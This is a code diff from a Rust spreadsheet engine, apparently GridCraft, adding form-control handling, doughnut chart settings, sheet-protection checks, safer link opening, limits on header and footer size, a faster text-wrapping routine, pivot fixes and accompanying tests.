// Form controls paint above everything else.
for c in &sh.controls {
v.push(
json!({"kind": "control", "id": c.id, "name": c.display_name(), "at": c.anchor.cell.a1(), "anchorMode": anchor_mode_name(c.anchor.mode)}),
);
}
Ok(Json::Array(v))
}
@@ -115,6 +123,7 @@ fn anchors_of(sh: &mut Sheet, kind: ObjKind) -> Vec<(u32, &mut Anchor)> {
ObjKind::Chart => sh.charts.iter_mut().map(|c| (c.id, &mut c.anchor)).collect(),
ObjKind::Image => sh.images.iter_mut().map(|c| (c.id, &mut c.anchor)).collect(),
ObjKind::Slicer => sh.slicers.iter_mut().map(|c| (c.id, &mut c.anchor)).collect(),
ObjKind::Control => sh.controls.iter_mut().map(|c| (c.id, &mut c.anchor)).collect(),
ObjKind::Shape | ObjKind::Equation => sh.shapes.iter_mut().filter(|c| shape_is(kind, c)).map(|c| (c.id, &mut c.anchor)).collect(),
}
}
@@ -133,6 +142,7 @@ pub(super) fn align(s: &mut Session, p: &Json) -> Result<Json> {
};
let how = str_param(p, "align").unwrap_or("left").to_string();
let si = s.doc()?.wb.active_sheet();
crate::cmd::controls::check_objects_unlocked(s, si, kind, &ids)?;
edit(s, |cx| {
let sheet = cx.sheet_mut(si)?;
let geo: Vec<(u32, f64, f64, f32, f32)> = {
+2
View File
@@ -427,6 +427,8 @@ fn forecast_sheet(s: &mut Session, p: &Json) -> Result<Json> {
data_table: None,
gridlines: true,
style: 1,
hole_size: 75,
first_slice_angle: 0,
x_title: None,
y_title: None,
source: None,
+11
View File
@@ -9,6 +9,17 @@ use super::{
/// sheet is `sheet`, else the prefix, else the active one. The selection belongs to the active
/// sheet, so another sheet needs explicit lines.
fn line_targets(s: &Session, p: &Json, rows: bool) -> Result<(usize, Vec<(u32, u32)>)> {
let (sheet, lines) = resolve_lines(s, p, rows)?;
// Sizes and visibility are formatting of the line, which a protected sheet must allow.
if rows {
crate::cmd::refuse_unless_allowed(s, sheet, "Formatting rows", |p| p.format_rows)?;
} else {
crate::cmd::refuse_unless_allowed(s, sheet, "Formatting columns", |p| p.format_columns)?;
}
Ok((sheet, lines))
}
fn resolve_lines(s: &Session, p: &Json, rows: bool) -> Result<(usize, Vec<(u32, u32)>)> {
let key = if rows { "rows" } else { "cols" };
let mut sheet = target_sheet(s, p)?;
if let Some(t) = str_param(p, key) {
+29 -9
View File
@@ -99,7 +99,7 @@ pub fn specs() -> Vec<CommandSpec> {
"Chart Properties",
["Chart Design"],
None,
"{chart?: id, type?, subtype?, title?, legend?: none|bottom|top|left|right, dataLabels?, gridlines?, dataTable?: bool, dataTableKeys?: bool, dataTableHorizontalBorder?: bool, dataTableVerticalBorder?: bool, dataTableOutline?: bool (data tables: column/bar/line/area and compatible combo charts), quartiles?: exclusive|inclusive, style?, xTitle?, yTitle?, at?, width?, height?, dx?, dy?}",
"{chart?: id, type?, subtype?, title?, legend?: none|bottom|top|left|right, dataLabels?, gridlines?, dataTable?: bool, dataTableKeys?: bool, dataTableHorizontalBorder?: bool, dataTableVerticalBorder?: bool, dataTableOutline?: bool (data tables: column/bar/line/area and compatible combo charts), quartiles?: exclusive|inclusive, style?, holeSize?, firstSliceAngle?, xTitle?, yTitle?, at?, width?, height?, dx?, dy?}",
has_doc,
chart_set
),
@@ -146,13 +146,13 @@ pub fn specs() -> Vec<CommandSpec> {
&with(p, "kind", json!("textBox"))
)),
cmd!("shape.setText", "Edit Text Box", [], None, "{id: textBox id, text: string}", has_doc, shape_set_text),
cmd!("object.delete", "Delete Object", [], None, "{kind: chart|image|shape|slicer|equation, id}", has_doc, delete_object),
cmd!("object.delete", "Delete Object", [], None, "{kind: chart|image|shape|slicer|equation|control, id}", has_doc, delete_object),
cmd!(
"object.move",
"Move Object",
[],
None,
"{kind: chart|image|shape|slicer|equation, id, at?: \"C3\", dx?, dy?, width?, height? (each at most 10,000 points, or the object's current size when a file made it larger)}",
"{kind: chart|image|shape|slicer|equation|control, id, at?: \"C3\", dx?, dy?, width?, height? (each at most 10,000 points, or the object's current size when a file made it larger)}",
has_doc,
move_object
),
@@ -161,7 +161,7 @@ pub fn specs() -> Vec<CommandSpec> {
"Object Properties",
[],
None,
"{kind: chart|image|shape|slicer|equation, id, mode: moveAndSize|moveOnly|absolute}",
"{kind: chart|image|shape|slicer|equation|control, id, mode: moveAndSize|moveOnly|absolute}",
has_doc,
set_anchor_mode
),
@@ -179,7 +179,7 @@ pub fn specs() -> Vec<CommandSpec> {
"Open Hyperlink",
[],
None,
"{url?: \"https://…\" | \"mailto:…\" | \"Sheet2!A1\", cell?} (default: the cell's link); only http, https and mailto are opened, any other scheme is an error; the UI asks before opening",
"{url?: \"https://…\" | \"mailto:…\" | \"Sheet2!A1\", cell?} (default: the cell's link); a reference selects; a web or e-mail address is an error unless the host allows it: the user opens those by clicking the link and confirming; any scheme but http, https and mailto is always an error",
has_doc,
open_link
),
@@ -850,6 +850,8 @@ pub fn build_chart(s: &Session, p: &Json) -> Result<(usize, Chart)> {
data_table: None,
gridlines: !matches!(kind, ChartKind::Pie | ChartKind::Doughnut | ChartKind::Treemap | ChartKind::Sunburst | ChartKind::Funnel),
style: 1,
hole_size: 75,
first_slice_angle: 0,
x_title: None,
y_title: None,
source: (areas.len() == 1).then(|| format!("{}!{}", gridcraft_formula::quote_sheet(&sh.name), bounds.a1())),
@@ -926,6 +928,12 @@ fn chart_set(s: &mut Session, p: &Json) -> Result<Json> {
if let Some(v) = u32_param(p, "style") {
c.style = v.clamp(1, 16);
}
if let Some(v) = u32_param(p, "holeSize") {
c.hole_size = v.clamp(10, 90) as u8;
}
if let Some(v) = u32_param(p, "firstSliceAngle") {
c.first_slice_angle = (v % 360) as u16;
}
if let Some(t) = p.get("xTitle") {
c.x_title = t.as_str().map(str::to_string);
}
@@ -1100,6 +1108,10 @@ fn insert_picture(s: &mut Session, p: &Json) -> Result<Json> {
.unwrap_or_else(|| if data.starts_with(&[0x89, b'P', b'N', b'G']) { "image/png".into() } else { "image/jpeg".into() });
let (w, h) = crate::io::image_size(&data).unwrap_or((320, 240));
let d = s.doc()?;
// Sheet protection locks drawing objects, as for a text box's text.
if d.wb.active().is_some_and(|sh| sh.is_protected()) {
return Err(EngineError::Other(PROTECTED.into()));
}
let id = d.wb.next_object_id();
let at = cell_param(s, p, "at")?.unwrap_or(d.selection.active);
let scale = (640.0 / w.max(1) as f32).min(1.0);
@@ -1231,13 +1243,16 @@ fn shape_set_text(s: &mut Session, p: &Json) -> Result<Json> {
/// objects are errors, so a stale id never succeeds silently.
fn object_param(s: &Session, p: &Json, cmd: &str) -> Result<(usize, ObjRef)> {
let id = u32_param(p, "id").ok_or_else(|| bad(cmd, "missing `id`"))?;
let kind = str_param(p, "kind").and_then(ObjKind::parse).ok_or_else(|| bad(cmd, "kind must be chart, image, shape, slicer or equation"))?;
let kind =
str_param(p, "kind").and_then(ObjKind::parse).ok_or_else(|| bad(cmd, "kind must be chart, image, shape, slicer, equation or control"))?;
let d = s.doc()?;
let sheet = d.wb.active_sheet();
let o = ObjRef::new(kind, id);
if !d.wb.sheet(sheet).is_some_and(|sh| sh.has_object(o)) {
return Err(bad(cmd, "no such object"));
}
// A locked form control on a protected sheet stays as it is.
super::controls::check_objects_unlocked(s, sheet, kind, &[id])?;
Ok((sheet, o))
}
@@ -1336,9 +1351,11 @@ fn insert_link(s: &mut Session, p: &Json) -> Result<Json> {
})
}
/// Follows a link: a reference selects it, an `http`/`https`/`mailto` address is handed to the
/// host (`UiRequest::OpenUrl`); anything else is refused ([`crate::links::classify`]). Opens no
/// dialog; the interactive click asks for confirmation first, in the UI.
/// Follows a link: a reference selects it; anything else is refused ([`crate::links::classify`]).
/// An `http`/`https`/`mailto` address is refused too unless the host set
/// [`crate::links::LinkPolicy::Allow`]: every caller of a command may be a script or an agent, so
/// the user opens such links by clicking and confirming, and the UI then calls
/// [`Session::open_confirmed_link`] (#2181). Opens no dialog.
fn open_link(s: &mut Session, p: &Json) -> Result<Json> {
let target = match str_param(p, "url").or_else(|| str_param(p, "target")) {
Some(t) => t.to_string(),
@@ -1354,6 +1371,9 @@ fn open_link(s: &mut Session, p: &Json) -> Result<Json> {
match crate::links::classify(&target) {
crate::links::LinkKind::Internal(r) => super::edit::go_to(s, &json!({"reference": r.trim_start_matches('#')})),
crate::links::LinkKind::External(u) => {
if s.link_policy != crate::links::LinkPolicy::Allow {
return Err(EngineError::Other(crate::links::NEEDS_CONFIRMATION.into()));
}
s.ui_requests.push(crate::UiRequest::OpenUrl(u.clone()));
Ok(json!({"opened": u}))
}
+18 -4
View File
@@ -28,7 +28,7 @@ pub fn specs() -> Vec<CommandSpec> {
"Run Macro",
[],
None,
"{name, inputs?: {Input: \"B2:D9\"} | \"B2:D9\", onConflict?: ask|fail|overwrite|shiftDown|shiftRight, overwrite?: bool, approve?: bool, timeLimit?: seconds} runs as one undo step; any error rolls it all back → {macro, ran, inputs, stopped?, shifted?}",
"{name, inputs?: {Input: \"B2:D9\"} | \"B2:D9\", output?: \"F2\" (instead of the macro's output anchor), onConflict?: ask|fail|overwrite|shiftDown|shiftRight, overwrite?: bool, approve?: bool, timeLimit?: seconds} runs as one undo step; any error rolls it all back → {macro, ran, inputs, stopped?, shifted?}",
has_doc,
run
),
@@ -37,7 +37,7 @@ pub fn specs() -> Vec<CommandSpec> {
"Check Macro",
[],
None,
"{name, inputs?, onConflict?, overwrite?, timeLimit?: seconds} validates the inputs and dry-runs the macro on the workbook (then puts everything back) → {ok (macro.run with these parameters would go ahead without a question), errors?, needsApproval?, onConflict, inputs, output?, conflicts, footprint}",
"{name, inputs?, output?: \"F2\" (as macro.run), onConflict?, overwrite?, timeLimit?: seconds} validates the inputs and dry-runs the macro on the workbook (then puts everything back) → {ok (macro.run with these parameters would go ahead without a question), errors?, needsApproval?, onConflict, inputs, output?, conflicts, footprint}",
has_doc,
check
),
@@ -55,7 +55,7 @@ pub fn specs() -> Vec<CommandSpec> {
"Step Into",
[],
None,
"{action: start|step|continue|runTo|stop|state, name, inputs?, onConflict?, overwrite?, approve?, timeLimit?: seconds per action (start, as macro.run), step: path (runTo), keep?: bool (stop), breakpoints?: [\"3\", \"2.1\"] (steps of the macro), breakpointsOnly?: bool (the list replaces the steps' own breakpoints)} debugs a macro one step at a time; stop keeps the changes as one undo step or rolls them back. Runs on its own, never as a step of a script or macro. Until it finishes or stops, its workbook runs only macro.debug, queries, selection and sheet changes, Go To, Find, Copy, zoom, Switch Window, Close and Stop Action (other workbooks stay editable) → {state: paused|finished|stopped|failed, current: {step, kind, command?, params?, iteration?}, lastParams, executed, changed (at most 500), changedCells, atBreakpoint?, shifted?, wroteFiles?, message?, error?}",
"{action: start|step|continue|runTo|stop|state, name, inputs?, output?, overwrite?, approve?, timeLimit?: seconds per action (start, as macro.run), step: path (runTo), keep?: bool (stop), breakpoints?: [\"3\", \"2.1\"] (steps of the macro), breakpointsOnly?: bool (the list replaces the steps' own breakpoints)} debugs a macro one step at a time; stop keeps the changes as one undo step or rolls them back. Runs on its own, never as a step of a script or macro. Until it finishes or stops, its workbook runs only macro.debug, queries, selection and sheet changes, Go To, Find, Copy, zoom, Switch Window, Close and Stop Action (other workbooks stay editable) → {state: paused|finished|stopped|failed, current: {step, kind, command?, params?, iteration?}, lastParams, executed, changed (at most 500), changedCells, atBreakpoint?, shifted?, wroteFiles?, message?, error?}",
has_doc,
|s, p| crate::macros::debug::debug(s, p)
),
@@ -170,7 +170,21 @@ fn rename(s: &mut Session, p: &Json) -> Result<Json> {
renamed.name = to.clone();
// The whole check, size included: a longer name can take a macro past what a file holds.
crate::macros::check(&renamed).map_err(EngineError::Other)?;
*m = renamed;
let from = std::mem::replace(m, renamed).name;
// Buttons that run the macro follow the new name.
let runs = |c: &gridcraft_model::FormControl| matches!(&c.action, Some(gridcraft_model::ControlAction::Macro { name, .. }) if name.eq_ignore_ascii_case(&from));
for si in 0..cx.wb.sheets.len() {
if !cx.wb.sheet(si).is_some_and(|sh| sh.controls.iter().any(runs)) {
continue;
}
for c in cx.sheet_mut(si)?.controls.iter_mut() {
if let Some(gridcraft_model::ControlAction::Macro { name, .. }) = &mut c.action
&& name.eq_ignore_ascii_case(&from)
{
*name = to.clone();
}
}
}
Ok(())
})?;
Ok(json!({"name": to}))
+2
View File
@@ -67,6 +67,8 @@ pub(super) fn insert_pivot_chart(s: &mut Session, p: &Json) -> Result<Json> {
data_labels: false,
data_table: None,
gridlines: !matches!(kind, ChartKind::Pie | ChartKind::Doughnut | ChartKind::Treemap | ChartKind::Sunburst | ChartKind::Funnel),
hole_size: 75,
first_slice_angle: 0,
style: 1,
x_title: None,
y_title: None,
+4 -3
View File
@@ -67,9 +67,6 @@ fn field_list(v: Option<&Json>) -> Vec<Json> {
}
pub(super) fn insert_pivot(s: &mut Session, p: &Json) -> Result<Json> {
if s.doc()?.wb.protected_structure && matches!(str_param(p, "destination"), None | Some("new")) {
return Err(other("The workbook is protected and cannot be changed."));
}
let source = source_param(s, p)?;
let active = s.doc()?.wb.active_sheet();
// Validate the source now (header names, size).
@@ -98,6 +95,10 @@ pub(super) fn insert_pivot(s: &mut Session, p: &Json) -> Result<Json> {
let at = RangeRef::parse(body).map(|r| r.start).ok_or_else(|| bad("insert.pivotTable", format!("not a cell: `{dest}`")))?;
Some((si, at))
};
// Decided on the resolved destination: `New`, ` new ` and an empty one all make a sheet.
if target.is_none() && s.doc()?.wb.protected_structure {
return Err(other("The workbook is protected and cannot be changed."));
}
let replace = bool_param(p, "replace").unwrap_or(false);
let rows = field_list(p.get("rows"));
let columns = field_list(p.get("columns"));
+7 -3
View File
@@ -507,9 +507,13 @@ pub(super) fn value_settings(s: &mut Session, p: &Json) -> Result<Json> {
let mut v = cur.clone();
if let Some(f) = func {
v.func = f;
// An automatic caption follows the function.
let auto = auto_name(cur.func, &cur.source_col);
if cur.name.eq_ignore_ascii_case(&auto) || cur.name.strip_prefix(auto.as_str()).is_some_and(|r| r.chars().all(|c| c.is_ascii_digit())) {
// An automatic caption follows the function. Count Numbers was captioned "Count
// Numbers of …" before it took Excel's "Count of …", and saved workbooks still carry it.
let is_auto = |base: &str| {
cur.name.eq_ignore_ascii_case(base) || cur.name.strip_prefix(base).is_some_and(|r| r.chars().all(|c| c.is_ascii_digit()))
};
let legacy = cur.func == PivotFunc::CountNumbers && is_auto(&format!("Count Numbers of {}", cur.source_col));
if is_auto(&auto_name(cur.func, &cur.source_col)) || legacy {
v.name = unique_value_name(pt, &auto_name(f, &cur.source_col), Some(i));
}
}
+46
View File
@@ -168,6 +168,19 @@ fn filters_and_report_filter_rows() {
assert!(s.execute("pivot.filter", json!({"field": "Product", "selected": []})).is_err());
}
/// A selection of the most labels allowed (100,000) is looked up once per record, not scanned: the
/// report still filters case-insensitively.
#[test]
fn a_huge_filter_selection_is_matched_through_a_set() {
let mut s = sales();
s.execute("insert.pivotTable", json!({"rows": ["Product"], "values": ["Sales"], "filters": ["Region"]})).unwrap();
let mut selected: Vec<String> = (0..99_999).map(|i| format!("Region {i}")).collect();
selected.push("EAST".into());
s.execute("pivot.filter", json!({"field": "Region", "selected": selected})).unwrap();
let gt = find_row(&s, "Grand Total").unwrap();
assert_eq!(val(&s, &CellRef::new(gt, 1).a1()), Value::Number(415.0));
}
#[test]
fn show_values_as() {
let mut s = sales();
@@ -1013,3 +1026,36 @@ fn detail_cells_are_the_cells_show_details_takes() {
let pt = &d.wb.active().unwrap().pivots[0];
assert!(crate::pivot::detail_cells(&d.wb, pt, d.wb.active_sheet()).unwrap_err().contains("out of date"));
}
#[test]
fn rank_ties_are_dense_and_count_numbers_is_captioned_count_of() {
// #1448 items 10 and 12: Excel ranks 5, 4, 3, 3, 4 as 1, 2, 3, 3, 2 (GridCraft gave 1, 2, 4,
// 4, 2), and captions a Count Numbers field "Count of Val".
let mut s = Session::new();
s.new_workbook();
let rows = json!([["Key", "Val"], ["A", 5], ["B", 4], ["C", 3], ["D", 3], ["E", 4]]);
s.execute("range.setValues", json!({"range": "A1", "values": rows})).unwrap();
s.execute("insert.pivotTable", json!({"source": "Sheet1!$A$1:$B$6", "destination": "Sheet1!D3", "rows": ["Key"], "values": ["Val"]})).unwrap();
s.execute("pivot.valueSettings", json!({"index": 0, "showAs": "rank"})).unwrap();
let ranks: Vec<Value> = ["E4", "E5", "E6", "E7", "E8"].iter().map(|a| val(&s, a)).collect();
assert_eq!(ranks, [1.0, 2.0, 3.0, 3.0, 2.0].map(Value::Number));
s.execute("pivot.valueSettings", json!({"index": 0, "showAs": "normal", "func": "countNumbers"})).unwrap();
assert_eq!(text(&s, "E3"), "Count of Val");
}
#[test]
fn legacy_count_numbers_caption_follows_the_function() {
// Workbooks saved before Count Numbers was captioned "Count of" carry "Count Numbers of Val";
// that is still an automatic caption, so it follows a new function. A custom name stays.
let mut s = Session::new();
s.new_workbook();
let rows = json!([["Key", "Val"], ["A", 5], ["B", 4]]);
s.execute("range.setValues", json!({"range": "A1", "values": rows})).unwrap();
s.execute("insert.pivotTable", json!({"source": "Sheet1!$A$1:$B$3", "destination": "Sheet1!D3", "rows": ["Key"], "values": ["Val"]})).unwrap();
for (legacy, after) in [("Count Numbers of Val", "Sum of Val"), ("Count Numbers of Val2", "Sum of Val"), ("Numbers counted", "Numbers counted")] {
s.execute("pivot.valueSettings", json!({"index": 0, "func": "countNumbers", "name": legacy})).unwrap();
assert_eq!(text(&s, "E3"), legacy);
s.execute("pivot.valueSettings", json!({"index": 0, "func": "sum"})).unwrap();
assert_eq!(text(&s, "E3"), after, "{legacy}");
}
}
+18 -7
View File
@@ -153,6 +153,17 @@ pub struct HfSection {
pub size: Option<f32>,
}
/// Most bytes one section's expanded text may hold. A code like `&A` adds the whole sheet name
/// (or file path) each time it appears, and a JSON workbook's names have no length limit.
const MAX_SECTION_BYTES: usize = 64 * 1024;
/// Appends `s` unless the section would pass [`MAX_SECTION_BYTES`]; what doesn't fit is left out.
fn push_field(text: &mut String, s: &str) {
if text.len().saturating_add(s.len()) <= MAX_SECTION_BYTES {
text.push_str(s);
}
}
/// Expands a header/footer string into its left, centre and right sections.
pub fn expand_header_footer(spec: &str, cx: &HfContext) -> [HfSection; 3] {
let mut out: [HfSection; 3] = Default::default();
@@ -187,14 +198,14 @@ pub fn expand_header_footer(spec: &str, cx: &HfContext) -> [HfSection; 3] {
i += 1 + digits.len();
}
}
sec.text.push_str(&n.to_string());
push_field(&mut sec.text, &n.to_string());
}
'N' | 'n' => sec.text.push_str(&cx.pages.to_string()),
'D' | 'd' => sec.text.push_str(&cx.date),
'T' | 't' => sec.text.push_str(&cx.time),
'A' | 'a' => sec.text.push_str(&cx.sheet),
'F' | 'f' => sec.text.push_str(&cx.file),
'Z' | 'z' => sec.text.push_str(&cx.path),
'N' | 'n' => push_field(&mut sec.text, &cx.pages.to_string()),
'D' | 'd' => push_field(&mut sec.text, &cx.date),
'T' | 't' => push_field(&mut sec.text, &cx.time),
'A' | 'a' => push_field(&mut sec.text, &cx.sheet),
'F' | 'f' => push_field(&mut sec.text, &cx.file),
'Z' | 'z' => push_field(&mut sec.text, &cx.path),
'&' => sec.text.push('&'),
'B' | 'b' => sec.bold = !sec.bold,
'I' | 'i' => sec.italic = !sec.italic,
+79
View File
@@ -414,6 +414,12 @@ fn pdf_contains_text_and_header_codes_expand() {
assert_eq!(r.text, "P4/9 9:00 AM");
assert_eq!(expand_header_footer("plain", &cx)[1].text, "plain");
assert_eq!(expand_header_footer("&", &cx)[1].text, "");
// A megabyte sheet name repeated by 5,000 `&A` codes stops at the section's 64 KiB.
let long = HfContext { sheet: "S".repeat(1024 * 1024), ..cx };
let [_, c, _] = expand_header_footer(&"&A".repeat(5_000), &long);
assert!(c.text.is_empty(), "the name alone is over the limit");
let short = HfContext { sheet: "S".repeat(1000), ..Default::default() };
assert_eq!(expand_header_footer(&"&A".repeat(5_000), &short)[1].text.len(), 65_000);
}
#[test]
@@ -695,6 +701,79 @@ fn bands_unit() {
assert!(w.len() > 2);
}
/// The wrapper `wrap_lines` replaced, re-measuring strings, as the reference for its lines.
fn wrap_lines_remeasuring(text: &str, font: Font, size: f32, width: f32) -> Vec<String> {
let mut out = Vec::new();
for para in text.split('\n') {
let mut line = String::new();
for word in para.split(' ') {
let cand = if line.is_empty() { word.to_string() } else { format!("{line} {word}") };
if line.is_empty() || gridcraft_pdf::text_width(font, size, &cand) <= width {
line = cand;
} else {
out.push(std::mem::take(&mut line));
line = word.to_string();
}
while gridcraft_pdf::text_width(font, size, &line) > width && line.chars().count() > 1 {
let chars: Vec<char> = line.chars().collect();
let (mut lo, mut hi) = (1usize, chars.len());
while lo < hi {
let mid = lo + (hi - lo).div_ceil(2);
let cut: String = chars[..mid].iter().collect();
if gridcraft_pdf::text_width(font, size, &cut) <= width {
lo = mid;
} else {
hi = mid - 1;
}
}
if lo == chars.len() {
break;
}
out.push(chars[..lo].iter().collect());
line = chars[lo..].iter().collect();
}
if out.len() > 2000 {
return out;
}
}
out.push(line);
}
out
}
#[test]
fn wrap_lines_matches_the_remeasuring_wrapper() {
let texts = [
"the quick brown fox jumps",
"Supercalifragilistic",
"a b c\n\nverylongwordthatneedsbreaking short\nend ",
"Wide WWWWWWWWWW words, iiiiiiii narrow ones; mixed MMMMiiiiMMMM",
"€ ü ß — unicode Ünïcödé text",
"",
" ",
];
for text in texts {
for font in [Font::Helvetica, Font::HelveticaBold, Font::Courier] {
for (size, width) in [(10.0, 50.0), (10.0, 20.0), (11.0, 1.0), (8.0, 300.0), (12.0, 0.0)] {
assert_eq!(wrap_lines(text, font, size, width), wrap_lines_remeasuring(text, font, size, width), "{text:?} {font:?} {size} {width}");
}
}
}
}
#[test]
fn wrapping_a_long_word_in_a_narrow_box_stops_at_the_line_limit() {
// One character per line: the old wrapper re-measured and copied the rest of the word for
// each of the 100,000 lines before checking the limit.
let word = "w".repeat(100_000);
let lines = wrap_lines(&word, Font::Helvetica, 10.0, 1.0);
assert!(lines.len() <= 2002, "{}", lines.len());
assert!(lines.iter().all(|l| l == "w"));
// A long paragraph in a very wide box is one line.
let para = vec!["word"; 50_000].join(" ");
assert_eq!(wrap_lines(&para, Font::Helvetica, 10.0, 1.0e9), vec![para.clone()]);
}
#[test]
fn center_across_spans_following_empty_center_across_cells() {
let mut styles = StyleTable::default();
+39 -24
View File
@@ -3,42 +3,57 @@ use super::{CellRef, Color, Font, HAlign, MAX_COLS, Page, Point, RangeRef, Sheet
const PAD_PX: f32 = 2.0;
/// Most lines [`wrap_lines`] returns (it may return one more, the rest of a paragraph).
const MAX_WRAP_LINES: usize = 2000;
/// Word-wraps `text` to `width` points.
///
/// Widths are kept as running sums of glyph widths (the sum `text_width` makes), so each
/// character is measured once: re-measuring the line for every word, or the rest of an
/// over-long word for every piece cut from it, made a long paragraph or word quadratic.
pub(super) fn wrap_lines(text: &str, font: Font, size: f32, width: f32) -> Vec<String> {
let units_of = |s: &str| -> u64 { s.chars().map(|c| u64::from(font.char_width(c))).sum() };
let fits = |units: u64| units as f32 * size / 1000.0 <= width;
let space = units_of(" ");
let mut out = Vec::new();
for para in text.split('\n') {
let mut line = String::new();
let mut line_units: u64 = 0;
for word in para.split(' ') {
let cand = if line.is_empty() { word.to_string() } else { format!("{line} {word}") };
if line.is_empty() || gridcraft_pdf::text_width(font, size, &cand) <= width {
line = cand;
let word_units = units_of(word);
if line.is_empty() {
line.push_str(word);
line_units = word_units;
} else if fits(line_units + space + word_units) {
line.push(' ');
line.push_str(word);
line_units += space + word_units;
} else {
out.push(std::mem::take(&mut line));
line = word.to_string();
line.push_str(word);
line_units = word_units;
}
// Break a single over-long word by characters. The cut that fits is found by binary
// search (each try measures one candidate prefix), so an over-long word costs
// O(n log n) measurements instead of re-measuring the whole cut per character for
// every emitted line (`a` × 100k pasted text would be cubic worst case).
while gridcraft_pdf::text_width(font, size, &line) > width && line.chars().count() > 1 {
let chars: Vec<char> = line.chars().collect();
let (mut lo, mut hi) = (1usize, chars.len());
while lo < hi {
let mid = lo + (hi - lo).div_ceil(2);
let cut: String = chars[..mid].iter().collect();
if gridcraft_pdf::text_width(font, size, &cut) <= width {
lo = mid;
} else {
hi = mid - 1;
// Break a single over-long word by characters: each piece is the longest that fits
// (at least one character).
if !fits(line_units) && line.chars().nth(1).is_some() {
let mut piece = String::new();
let mut units: u64 = 0;
for c in line.chars() {
let w = u64::from(font.char_width(c));
if !piece.is_empty() && !fits(units + w) {
out.push(std::mem::take(&mut piece));
units = 0;
if out.len() > MAX_WRAP_LINES {
return out;
}
}
piece.push(c);
units += w;
}
if lo == chars.len() {
break;
}
out.push(chars[..lo].iter().collect());
line = chars[lo..].iter().collect();
line = piece;
line_units = units;
}
if out.len() > 2000 {
if out.len() > MAX_WRAP_LINES {
return out;
}
}
+2 -1
View File
@@ -170,7 +170,7 @@ pub(super) fn move_sheet(s: &mut Session, p: &Json) -> Result<Json> {
// Object ids are unique across the workbook (selection and the `{kind, id}` commands
// rely on it), so the copied objects get fresh ones (free ones, even when a file used
// the largest id).
let count = sh.charts.len() + sh.images.len() + sh.shapes.len() + sh.slicers.len();
let count = sh.charts.len() + sh.images.len() + sh.shapes.len() + sh.slicers.len() + sh.controls.len();
let ids = cx.wb.free_object_ids(count);
if ids.len() < count {
return Err(bad("sheet.move", "no free object ids are left for the copied objects"));
@@ -181,6 +181,7 @@ pub(super) fn move_sheet(s: &mut Session, p: &Json) -> Result<Json> {
sh.images.iter_mut().for_each(|o| o.id = fresh());
sh.shapes.iter_mut().for_each(|o| o.id = fresh());
sh.slicers.iter_mut().for_each(|o| o.id = fresh());
sh.controls.iter_mut().for_each(|o| o.id = fresh());
let at = to.min(n);
// The copy gets its own copies of the sheet's names, referring to the copy.
let copies: Vec<gridcraft_model::DefinedName> = cx
+36
View File
@@ -40,6 +40,27 @@ pub fn specs() -> Vec<CommandSpec> {
cmd!("view.showZeros", "Show Zeros", [], None, "{on?}", has_doc, |s, p| sheet_flag(s, p, "zeros")),
cmd!("view.showOutlineSymbols", "Show Outline Symbols", [], Some("Ctrl+8"), "{on?}", has_doc, |s, p| sheet_flag(s, p, "outlineSymbols")),
cmd!("view.showObjects", "Show Objects", [], Some("Ctrl+6"), "{on?}", has_doc, show_objects),
cmd!(
"view.showSheetTabs",
"Show Sheet Tabs",
[],
None,
"{on?} (File › Options › Advanced, this workbook; toggles without `on`)",
has_doc,
|s, p| { workbook_view_flag(s, p, "sheetTabs") }
),
cmd!(
"view.showHorizontalScrollBar",
"Show Horizontal Scroll Bar",
[],
None,
"{on?} (this workbook; toggles without `on`)",
has_doc,
|s, p| { workbook_view_flag(s, p, "horizontal") }
),
cmd!("view.showVerticalScrollBar", "Show Vertical Scroll Bar", [], None, "{on?} (this workbook; toggles without `on`)", has_doc, |s, p| {
workbook_view_flag(s, p, "vertical")
}),
cmd!("view.rightToLeft", "Sheet Right-to-Left", ["Page Layout", "Sheet Options"], None, "{on?}", has_doc, |s, p| sheet_flag(s, p, "rtl")),
cmd!("view.zoom", "Zoom", ["View", "Zoom"], None, "{percent: 10..400}", has_doc, zoom),
cmd!("view.zoom100", "100%", ["View", "Zoom"], None, "{}", has_doc, |s, _| zoom(s, &json!({"percent": 100}))),
@@ -189,6 +210,21 @@ fn sheet_flag(s: &mut Session, p: &Json, which: &str) -> Result<Json> {
})
}
/// File › Options › Advanced › Display options for this workbook: the sheet tabs and the two
/// scroll bars, saved with the workbook (`<workbookView showSheetTabs … />`).
fn workbook_view_flag(s: &mut Session, p: &Json, which: &str) -> Result<Json> {
edit(s, |cx| {
let view = &mut cx.wb.view;
let slot = match which {
"sheetTabs" => &mut view.show_sheet_tabs,
"horizontal" => &mut view.show_horizontal_scroll,
_ => &mut view.show_vertical_scroll,
};
*slot = bool_param(p, "on").unwrap_or(!*slot);
Ok(json!({"on": *slot}))
})
}
/// Ctrl+6: hides every object, or shows them again. Placeholders (from a file) count as shown.
fn show_objects(s: &mut Session, p: &Json) -> Result<Json> {
use gridcraft_model::ShowObjects;
+3 -1
View File
@@ -156,7 +156,9 @@ pub fn range_text(wb: &Workbook, sheet: usize, r: RangeRef) -> String {
}
first = false;
let t = cell_text(wb, sh, CellRef::new(row, col));
if t.contains(['\t', '\n', '"']) {
// Like Excel, only text with a tab or line break is quoted (its quotes doubled);
// `say "hi"` is copied as it is (#2225).
if t.contains(['\t', '\n', '\r']) {
out.push('"');
out.push_str(&t.replace('"', "\"\""));
out.push('"');
+3 -14
View File
@@ -575,20 +575,9 @@ pub fn series(cx: &mut Ctx, sheet: usize, options: SeriesOptions<'_>) -> Result<
match (unit, d) {
("month", Some(_)) => (step as i64).checked_mul(i as i64).and_then(|m| add_months_clamped(sys, start, m)).unwrap_or(v),
("year", Some(_)) => (step as i64).checked_mul(i as i64 * 12).and_then(|m| add_months_clamped(sys, start, m)).unwrap_or(v),
("weekday", Some(_)) => {
let mut n = v;
let mut left = step.abs() as i64;
while left > 0 {
n += step.signum();
let Some(day) = datetime_from_serial(sys, n) else {
return Err(crate::EngineError::Other("The weekday series runs past the supported date range.".into()));
};
if day.weekday != 0 && day.weekday != 6 {
left -= 1;
}
}
n
}
// Whole weeks at a time: a huge step costs no more than a small one.
("weekday", Some(_)) => add_weekdays(sys, v, step as i64)
.ok_or_else(|| crate::EngineError::Other("The weekday series runs past the supported date range.".into()))?,
_ => v + step,
}
}
+129 -5
View File
@@ -1,4 +1,4 @@
//! Opening and saving files: XLSX, legacy XLS import, XLSB and ODS data import, CSV/TSV, JSON (debug), HTML export.
//! Opening and saving files: XLSX, legacy XLS import, XLSB and ODS data import, SYLK import, CSV/TSV, JSON (debug), HTML export.
use std::fmt::Write as _;
@@ -7,6 +7,8 @@ use gridcraft_model::{Sheet, Workbook};
use crate::{EngineError, Result};
